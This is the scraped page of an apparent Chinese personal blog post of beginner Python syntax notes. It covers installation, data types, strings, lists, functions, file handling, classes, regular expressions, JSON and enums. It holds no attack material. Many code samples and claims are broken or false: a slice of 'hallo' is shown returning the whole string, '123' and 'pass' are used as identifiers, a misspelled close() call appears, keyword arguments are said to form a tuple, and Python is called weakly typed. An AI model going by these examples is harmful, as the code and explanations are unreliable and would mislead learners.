stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>python基础语法笔记</h1><div class=post-meta><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/python%e5%9f%ba%e7%a1%80%e8%af%ad%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>安装python</p><p>推荐安装anaconda3（linux）</p><p>wget <a href=https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh>https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh</a></p><p>dash Anaconda3-2019.10-Linux-x86_64.sh</p><p>根据提示安装，如果还是系统自带的python</p><p>sudo gedit ~/.bashrc</p><p>export PATH="/home/pc/anaconda3/bin:$PATH"</p><p>pc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3</p><p>注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置</p><p>Windows和mac 到官网下载安装包，直接下一步安装</p><p>mac安装了Homebrew，可以使用brew install python3</p><p>Windows设置环境变量，PATH 安装路径</p><p>现在liunx一般都会自带有python3,如果没有可以安装一下</p><p>apt install python3</p><p>yun install python3</p><p>注意一下python2.x和python3.x这两个版本是不兼容的，要区分开</p><p>检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了
+字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"python基础语法笔记","item":"https://chenjunlinabc.github.io/posts/28/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"python基础语法笔记","name":"python基础语法笔记","description":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\u0026quot;/home/pc/anaconda3/bin:$PATH\u0026quot;\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了\u0026raquo;\u0026gt; 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(\u0026ldquo;hello,world\u0026rdquo;)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(\u0026ldquo;xxxxx\u0026rdquo;)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\u0026quot;\u0026ldquo;和\u0026rsquo;\u0026lsquo;括起来的任意文本，\u0026lsquo;\u0026lsquo;或\u0026quot;\u0026ldquo;本身只是一种表示方式，不是字符串的一部分","keywords":["Python"],"articleBody":"安装python\n推荐安装anaconda3（linux）\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh\ndash Anaconda3-2019.10-Linux-x86_64.sh\n根据提示安装，如果还是系统自带的python\nsudo gedit ~/.bashrc\nexport PATH=\"/home/pc/anaconda3/bin:$PATH\"\npc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3\n注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置\nWindows和mac 到官网下载安装包，直接下一步安装\nmac安装了Homebrew，可以使用brew install python3\nWindows设置环境变量，PATH 安装路径\n现在liunx一般都会自带有python3,如果没有可以安装一下\napt install python3\nyun install python3\n注意一下python2.x和python3.x这两个版本是不兼容的，要区分开\n检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量\n因为Python语言从规范到解释器都是开源的，所以存在多个解释器\n例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython\n在命令行或者终端，输入输入python3 回车，如果出现了»\u003e 那么当前状态是python的交互模式\n在交互模式下输入exit()，退出python的交互模式\n在交互模式下执行第一个程序 print(“hello,world”)\n回车输出hello，world，这是简单的打印字符串\n除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下\n交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来\n一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code\nprint()接受多个输出，使用“,”分隔开，也可以输出整数\n当你想让用户输入一点东西的时候，python提供了一个input()，用法如下 name = input() 将输入的值存放到一个变量里\ninput()还提供了提示功能，显示一个字符串，例如：input(“xxxxx”)\n我想知道这个变量的内容咋办，可以在交互模式下直接输入变量名，回车，就可以查看该变量的内容 又可以使用print()打印下来\n那么什么是变量呢？\n在计算机程序中，变量不仅可以为整数或浮点数，还可以是字符串\n输入是Input，输出是Output，输入输出统称为Input/Output，或者简写为IO\n以#开头的语句是注释，注释是给人看的，解释器会忽略掉注释，注释可以是任何内容\n其他每一行都是一个语句，当语句以冒号:结尾时，缩进的语句视为代码块\n注意：python区分大小写，搞错了大小写，程序可能会报错。缩进建议使用4个空格\npython能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量\npython可以处理整型任意大小的整数，也可以使用二进制代表整数、\n浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示\n字符串是使用\"“和’‘括起来的任意文本，‘‘或\"“本身只是一种表示方式，不是字符串的一部分\n字符串内部包含’又包含\"怎么办？使用转义字符来标识，转义字符可以转义很多字符，比如n表示换行，t表示制表符，字符本身也是可以转义的，所以\\表示的字符就是\\\n为了简化，Python还允许用r’’，用来表示’‘内部的字符串默认不转义\n在交互式命令行内输入，在输入多行内容时，提示符由»\u003e变为…，提示可以接着上一行输入，注意…是提示符，不是代码的一部分\n多行字符串’‘‘xxx’’’，可以在前面加上r使用\n布尔值只有两种值，分别是True和False，在计算机中布尔值要么是True，要么是False，在python中可以直接使用True、False表示布尔值，注意大小写\nand是与运算，只有所有值都为True时，and运算结果才是True\nor运算是或运算，只要其中有一个为True，那么or运算结果就是True\nnot运算是非运算，它是一个单目运算符，专门把True变成False，False变成True\n空值，使用None表示空值，这个空值不是0，因为0是有意义的，代表什么都没有\n在计算机程序中，变量不仅可以是数字，还可以是任意数据类型。\n变量在程序中用一个变量名表示，变量名必须是大小写英文、数字和_的组合，且不能用数字开头，\n变量名 = 任意数据类型，这个过程叫变量赋值，变量可以反复赋值\n这种变量本身类型不固定的语言称之为动态语言，与之对应的是静态语言。静态语言在定义变量时必须指定变量类型，如果赋值的时候类型不匹配，就会报错。\n例如golang就是一个静态语言，不能跨数据类型来赋值\nx = 1\nx = x+1\n这个是计算新的值，并且重新赋值给该变量\na = “hello”\n这时Python解释器干了两件事情：\n在内存中创建了一个’hello’的字符串；\n在内存中创建了一个名为a的变量，并把它指向’hallo’。\n可以把一个变量a赋值给另一个变量b，这个操作实际上是把变量b指向变量a所指向的数据\n因为程序是从上往下执行的，一定要理清逻辑\n常量就是不能变的变量，在python中使用大写表示一个常量，例如： ABC =123\n但这个常量还是可以被修改，因为Python没有任何机制可以保证该常量不会被改变，这个很奇怪\n/除法计算结果是浮点数，即使是两个整数恰好整除，结果也是浮点数\n当使用//除法时，两个整数的相除就可以是整数\n想要做精确的除法，就必须使用/了\n// 除，永远是整数\n字符编码 python提供了字符转编码函数ord()和编码转字符函数chr()\nPython可以使用编码来输出内容\nPython的字符串类型是str，在内存中以Unicode表示，一个字符对应若干个字节，可以转成bytes类型，方便传输和保存数据\n在Python中bytes类型的数据用带b前缀的单引号或双引号表示：a = b\"hallo word”\nstr和bytes类型内容显示没有差别，但是bytes的每个字符都只占用一个字节\n在Python中，可以使用encode()方法来指定编码，例如： ‘hallo’.encode(‘ascii’) b’hallo’\n注意：纯英文的str可以使用ASCII编码为bytes，显示内容一样，但是包含了其他语言（比如中文）的str不能使用ASCII编码，Python会报错，含有其他语言的str请使用UTF-8编码\n如果想把bytes转为str，可以使用decode()方法\n注意：如果bytes中包含无法解码的字节，decode()方法会报错\n如果bytes中只有一小部分无效的字节，可以传入errors=‘ignore’忽略错误的字节\n计算str包含多少个字符，可以用len()函数\nlen()函数计算的是str的字符数，如果换成bytes，len()函数就计算字节数 为了让Python按UTF-8编码读取，一般都会在文件开头声明一下： # !/usr/bin/python3 # – coding: utf-8 –\n第一行是告诉计算机系统这是一个Python可执行程序，注意Windows会忽视这个\n第二行是告诉Python，请按照UTF-8编码读取源代码\n注意：声明并不代表文件是UTF-8编码的，请确保文本编辑器使用UTF-8 without BOM编码\n如果想一些内容可以根据变量变化，那么就用到格式化字符串\n在Python中，采用的格式化方式和C语言是一致的，用%实现\n‘Hello, %s $%d ’ % (‘world’)\n常见的占位符有：\n%d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制整数\n注意：%s永远起作用，它会把任何数据类型转换为字符串！！！\n如果字符串里面的%只是普通字符，那么使用%%来代表一个%（转义）\n还有一个格式化字符串方法：format()\n它会用传入的参数依次替换字符串内的占位符{0}、{1}……..\n例如：\n‘hello,{0}’.format(‘world’)\nPython 3的字符串使用Unicode，直接支持多语言\n当str和bytes互相转换时，需要指定编码\n列表（list），一种有序的集合，可以随时添加和删除其中的元素，使用[]来表示，例如： abc = [‘a’,‘b’,‘c’]\n可以使用索引来访问列表的每一个元素，索引是从0开始，例如：\nabc[0] ‘a’\n注意：索引超出范围时，Python会抛出一个IndexError错误，记得最后一个元素的索引是len(classmates) - 1\n如果想获取最后一个元素，不知道索引，又怕抛出错误，可以使用-1方法，例如：\nabc[-1] c\n以此类推，可以获取倒数第2个、倒数第3个，-2，-3\n因为这个列表是可变的有序的列表，所以可以在列表中追加元素到末尾，例如：\nabc.append(’d’) abc [‘a’,‘b’,‘c’,’d’]\n当然也可以添加元素到指定的位置，例如：\nabc.insert(1,‘1’) abc [‘a’,‘1’,‘b’,‘c’,’d’]\n删除列表末尾元素，使用pop()方法，例如：\nabc.pop() ’d’ abc [‘a’,‘1’,‘b’,‘c’]\n删除指定位置的元素，使用pop()，括号中填写索引位置\nabc.pop(1) ‘1’ abc [‘a’,‘b’,‘c’]\n如果想把某个元素换成其他元素，可以直接赋值给对应的索引位置，例如：\nabc[0]=‘abc’ abc [‘abc’,‘b’,‘c’]\n列表里面的元素数据类型可以不同，例如：\na = [‘hallo’,666,False]\n列表里面可以包含其他列表，反复嵌套，例如：\na = [‘hallo’,‘word’,[‘123’.‘abc’]]\n注意：这个a列表只有3个元素，其中的a[2]又是一个列表，可以拆开理解，例如：\n123 = [‘hallo’,‘word’]\nabc = [‘666’,123,‘abc’]\n想拿到’hallo’,可以写成123[1]或者abc1\n这个可以看成一个二维数组\n注意：当一个列表中一个元素也没有，那么就是一个空的列表，长度为0，a=[] len(a) 0\n还有一个有序列表叫元组（tuple），和list很相似，不过这个一但初始化就不能修改\n没有添加元素和删除元素的方法，但是可以正常使用获取元素的方法，获取方法和list一样，就是不能赋值成另外的元素\n那么这个列表不能改变，那么有什么意义？因为tuple不可变，所以程序更安全\n当定义一个tuple时，在定义的时候，tuple的元素就必须被确定下来\n如果要定义一个空的tuple，可以写成()\n正确定义只有一个元素的tuple，例如：\na = (1,) a 1\n为啥这样呢？因为括号()可以表示tuple，又可以表示数学公式中的小括号，防止Python按照小括号来计算，避免歧义\n关于可以’改变’的tuple：实际上改变的是list，因为tuple里面可以有list列表，所以可以’改变'01\n全局变量和局部变量\n一般在函数内部定义的变量，为局部变量，在函数外部定义的变量为全局变量\n因为作用域的问题，一般在函数内部不能真正修改到全局变量\n可以使用关键字global来处理\nabc = None def xyz(): global abc abc=\"hallo\" return a print(abc) // 观察这个变量和下面的变量的区别 print(xyz()) print(abc) // 观察这个变量和上面的变量的区别 nonlocal 可以用于在函数或者其他作用域中使用上层（非全局）的变量，例如：\ndef xyz(): abc=\"hallo\" def go(): nonlocal abc return abc return go() print(xyz()) 函数\n调用函数 函数名()\npython中内置了大量的函数，可以直接调用，例如：\nint(“666”) // 666\n因为函数本身可以理解为是一个引用类型，所以函数是可以赋值给变量，例如：\na = int a(“123”) // 123\n定义函数\ndef为定义一个函数的关键字，定义一个函数例如： def abc(i): print(i)\n如果有一个函数定义在另一个文件里，可以在当前文件的当前目录下，使用from abstest import导入函数\n空函数： def no(): pass\npass语句用于什么都不干，可以用于占位\n检查函数传入的参数\n检查数据类型可以使用isinstance()\nisinstance(1,int) // 返回布尔值，可以搭配if判断语句使用\n如果想要手动设置异常，可以使用raise语句，例如：\ndef no(i): if not isinstance(i,(int)): raise ValueError(\"no函数的传参必须为整数\") no('1') 函数内部可以使用return来返回函数结果\n使用return返回不了值，主要是没有把值取出来，例如\ndef a(x): return x b = a(1) print(b) // 1 python的函数参数灵活度很高\ndef a(x,i=1) // 默认i为1\n必选参数在前，默认参数在后，当不需要默认参数可以直接覆盖掉，灵活性很高\n当参数的个数不明确时，可以把参数当成list或tuple传进来，例如：\ndef a(x): abc = 0 for a in x: abc=abc+a return abc a = a([1,2,3]) print(a) // 6 如果已经有一个list或tuple，想传进来：\ndef xyz(*x): abc = 0 for a in x: abc=abc+a return abc b = [1,3,5] a = xyz(*b) print(a) 关键字参数可以传入0或者任意个参数，而这些参数会变成一个tuple\ndef abc(i,**n): print(‘i:’, i, ’n:’, n)\nabc(“abc”)\n如果已经有一个tuple，想传入： b = {1,3,5} abc(**b)\n如果想限制关键字参数，例如：\ndef xyz(i,n,*,name,age): print(i,n,name,age) xyz(1,2,name=\"hallo\",age=18) // 1 2 hallo 18 *后面的参数被认为是命名关键字参数，限制只能使用该参数名\n如果参数中已经有了可变参数，后面跟着的命名关键字参数就不需要*来分隔了\n命名关键字参数必须要传入参数名，否则报错，如果命名关键字参数已经有默认值，可以不用传入\n递归函数\n递归函数就是这个函数反复调用它本身，例如：\n从1加到100，1+2+3+…+100\ndef xyz(n): if n == 1: return 1 return n+xyz(n-1) a = xyz(100) print(a) // 5050 尾递归优化\n递归调用次数过多，会导致堆栈溢出，溢出就是超出了最大上限的堆栈\n而解决因为递归而导致的溢出的方法就是尾递归优化\n但是Python解释器目前不支持尾递归优化，就算使用尾递归方式，也还是会导致堆栈溢出\ndef abc(n): return xyz(n,1) def xyz(n,go): if n == 1: return go return xyz(n-1,n+go) a = abc(100) print(a) 切片，顾名思义，就是取部分值，例如：\na = [1,2,3,4,5]\na[0:3] // [1,2,3]\n索引从0开始，到3为止\n支持倒数切片\na[:-1] // [1,2,3,4]\n如果开头为0，可以省略不写，倒数第一个为-1\na[::2] // [1, 3, 5] 每两个取一个\na[:] // 复制一个一样的list\ntupel也可以使用切片，但是操作结果还是tuple\na = (0,1,2,3)\na[:3] // (0,1,2)\n甚至连字符串都可以切片，结果还是字符串\na = “hallo”\na[:2] // hallo\n迭代\n读写文件\nabc = open(‘1.txt’,‘r’) go = abc.read(6) # 可以指定读取的数量，如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件\nr为只读，w为写入，a为追加，rb为以二进制方式只读，wb为以二进制方式写入，ab为以二进制方式追加\nabc = open(‘1.txt’,‘w’) abc.write(“hallo word!!” * 6) # 写入6条数据 abc.close()\nabc = open(‘1.txt’,‘r’) data = abc.readline() print(“3:%s” % data) # 读取指定行数的数据，这里为读取3行数据 abc.close()\n如果想多钱全部数据，并且返回的是一个列表，列表的每一个元素为都为每一行数据，可以： abc = open(‘1.txt’, ‘r’) data = data.readlines() print(type(data)) for a in data: print(a) data.close()\nif判断\ndata = 10 if data \u003e=18: print(\"成年了!\") elif data\u003e=6: print(\"义务教育\") else: print(\"未成年!!!\") 输入输出\ndata = int(input(\"请输入数据\")) print(data) 类型转换（Python是弱类型语言，弱类型指不能对变量声明类型，只能声明数据的类型）\nint()整数,str()字符串,float()浮点数,bool()布尔数，list()列表，tuple()元组，chr()字符，unichr()Unicode字符等等\n例如：\ndata1 = \"123\" data2 = 123 print(isinstance(data1,str)) print(isinstance(data2,int)) data3 = int(data1) data4 = str(data2) print(isinstance(data3,int)) print(isinstance(data4,str)) 运算符\n+加，-减，*乘，/除，//取整除，%取余，**指数\n优先级和普通的算数规则一样，指数大于乘和除,取余,取整除大于加和减\n字符串不能和整数相加，必须将字符串或者整数转换，字符串为拼接，整数为算数\n赋值运算符\n=，将右边赋值给左边的变量，可以给多个变量赋值，例如：a = b = c = 666或者a,b,c = 666,123,100\na+=1 ：a=a+1，a-=1：a=a-1，a*=1：：a=a*1，a/=1：：a=a/1,a//=1: ：a=a//1,a%=1：a=a%1 ,a**=1：a=a**1\n==比较是否相等，!=比较不相等，\u003e大于，\u003c小于，\u003e=大于等于，\u003c=小于等于\nand和运算符（只有当比较全部为true才为true，否则都为false），or或运算符（只有当比较有一个为true才为true，全部为false才为false），not取反运算符（只有当比较为true才为false，当比较为false才为true）\nfor循环和while循环\nfor循环可以遍历任何以序列排序的东东，比如列表和字符串\nfor a in \"hallo word\": print(a) 或者\nfot a in range(1,100): print(a) range支持3个参数，分别是起始，结束，以及步长\nwhile循环,在某个条件下为true下才会执行里面的语句\ndata = 0 while data \u003c 10: print(data) data+=1 获取字符串或者列表的长度，len(data)\n查找某些内容是否在字符串的某些地方中存在（如果不存在，返回-1）,find(str,beg=0,end=len(strdata))\nstr为要查找的字符串，beg开始查找的位置，end结束查找的位置\n错误处理\n读取文件错误（当文件不存在时） try: abc = open(‘data.txt’, ‘r’) print(abc.read()) except FileNotFoundError: print(‘文件没有找到,请检查文件名称是否正确’)\ntry…except语句可以处理程序运行过程中可能出现的异常\n面向对象\nclass ClassName(): 'test 定义类' name = 'hallo' age = 20 def abc(self): # 实例方法 print(self.name) print(self.age) className = ClassName() # 实例化类 className.abc() # 调用类的方法 导入类\nfrom hallo import ClassName className = ClassName() # 实例化类 className.abc() # 调用类的方法 构造函数\nclass ClassName(): name = 'hallo' age = 20 def __init__(self, name，age): self.name = name self.age = age a = ClassName('hahaha', 18) b = ClassName('abc', 100) print(a.name) print(a.__dict__) print(b.name) print(ClassName.name) class ClassName(): name = 'hallo' age = 20 sum = 0 def __init__(self, name，age): self.name = name self.age = age self.__class__.sum += 1 # 每调用一次构造函数就触发+1 print(self.__class.sum) 类方法\nclass ClassName(): sum = 0 @classmethod def Sum(cls): cls.sum += 1 print(cls.sum) ClassName.Sum() 静态方法\nclass ClassName(): ＠staticmethod def hallo(name, pass): print(name,pass) ClassName.hallo('hallo','123456') abc = ClassName() abc.hallo('hhhhh','666123') 类的成员的公开性与私有性\nclass ClassName(): name = 'hallo' age = 20 __pass = '' def __abc(self): # 给类的成员开头加上__将表示该成员是私有的，无法在类外部使用 print(self.name) print(self.age) 注意: 如果前后都有__，则表示公开的，如构造函数__init__，只有开头有__才是私有的，默认是公开的\nPython提供一种私有保护机制，当在类外部使用时，Python会将其认为是全新的，私有的是无法被更改的，例如：\nclass ClassName(): name = 'hallo' age = 20 __pass = '123' def abc(self): print(self.name) print(self.age) classname = ClassName() classname.__pass = '123456' print(classname.__dist__) print(classname._classname__pass) # 实质是访问类里面的私有__pass 可以看到原来的__pass变成了_classname__pass这个全新的名称，而显示__pass是新的'12345’\n类的继承\nclass ClassName(): def __init__(self): self.a = 123 self.b = 666 def hhh(self): print('hallo word') def gogo(self): print('hallo abc') class Hallo(ClassName): def __init__(self): super().__init__() # 调用父类的__init__，当子类重写的父类的方法后，还想调用父类原来的方法，可使用super()，该语句块实质上也是在重写的父类的__init__方法，因此需要在子类的__init__调用父类原来的__init__ def abc(self): return self.a + self.b # 继承父类的属性 def gogo(): print('hallo python') # 重写父类的gogo方法 hallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性\n正则表达式\n判断某个字符串中是否存在某个字符\nimport re abc = \"hallo word\" xyz = re.findall(\"hallo\",abc) if len(xyz) \u003e 0: print(\"字符串包含hallo\") else: print(\"字符串不包含hallo\") 筛选出某个字符串中存在的数值\nimport re abc = \"0hallo1 word2\" xyz = re.findall('\\d',abc) print(xyz) \\d是元字符，\\d也是概括字符集，\\d可以使用[0-9]实现相同的效果\n字符集\nimport re abc = \"aha, aca, ada, aaa, aea\" xyz = re.findall('a[ha]a',abc) // xyz = re.findall('a[^ha]a',abc) // aea，^是取反 // xyz = re.findall('a[c-e]a',abc) // aca，ada，aea，c-e表示c，d，e print(xyz) // aha和aaa 数量词\nimport re abc = \"hallo word hhhhhh\" xyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括，3,6表示匹配3到6个字符 print(xyz) 贪婪与非贪婪\n匹配会最大匹配，像上面的数量词的例子，hallo并没有因为3而匹配hal，而是最大匹配，直到匹配的字符不符合才停止，这就是贪婪匹配\nimport re abc = \"hallo word hhhhhh\" xyz = re.findall('[a-z]{3,6}?',abc) print(xyz) 上面的例子就是非贪婪的，匹配会最小匹配\n匹配0次或无限次\nimport re abc = \"aba abcc abccd abc\" xyz = re.findall('abc*',abc) print(xyz) 匹配1次或无限次\nimport re abc = \"aba abcc abccd abc\" xyz = re.findall('abc+',abc) print(xyz) // abcc，abccd，abc 匹配0次或1次\nimport re abc = \"aba abcc abccd abc\" xyz = re.findall('abc?',abc) print(xyz) // abc abc abc 边界匹配符\n由于匹配只针对最小匹配，最大匹配无效，例如\nimport re abc = \"123456789\" xyz = re.findall('\\d{3,6}',abc) print(xyz) // 123456，明明不符合6，但是还是输出了 边界匹配符就是解决这个问题的\nimport re abc = \"123456789\" xyz = re.findall('^\\d{3,6}$',abc) // ^表示该位置开始匹配，$表示该位置结束匹配 print(xyz) 组\nimport re abc = \"abc abc xyz hallo abc abc xyz word\" xyz = re.findall('(abc)(xyz)',abc) print(xyz) json反序列化（json字符串转python字典）\nimport json abc = '{\"name\": \"admin\", \"pass\":\"abc123\"}' xyz = json.loads(abc) print(type(xyz)) // dict字典 print(xyz) print(xyz['name']) print(xyz['pass']) json序列化（python字典转json字符串）\nimport json abc = [ {\"name\": \"admin\", \"pass\":\"abc123\"}, {\"name\": \"root\", \"pass\":\"1234567\"} ] xyz = json.dumps(abc) print(type(xyz)) // str字符串 print(xyz) 枚举\nfrom enum import Enum class ABC(Enum): ID = 1 USER = 2 PASS = 3 print(ABC.ID) print(type(ABC.ID)) // ABC类型 print(ABC.ID.name) // 枚举名称 print(ABC.ID.value) // 枚举值 print(ABC.ID == ABC.USER) // 枚举的比较，不支持大小比较，只支持等值比较 print(ABC.ID in ABC.USER) for i in ABC.__members__.items(): print(i) // 遍历枚举名称和值，如果只要枚举名称，则去掉.items() 枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能\n","wordCount":"1094","inLanguage":"en","datePublished":"2021-06-16T14:40:00Z","dateModified":"2021-06-16T14:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/28/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>python基础语法笔记</h1><div class=post-meta><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/python%e5%9f%ba%e7%a1%80%e8%af%ad%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" 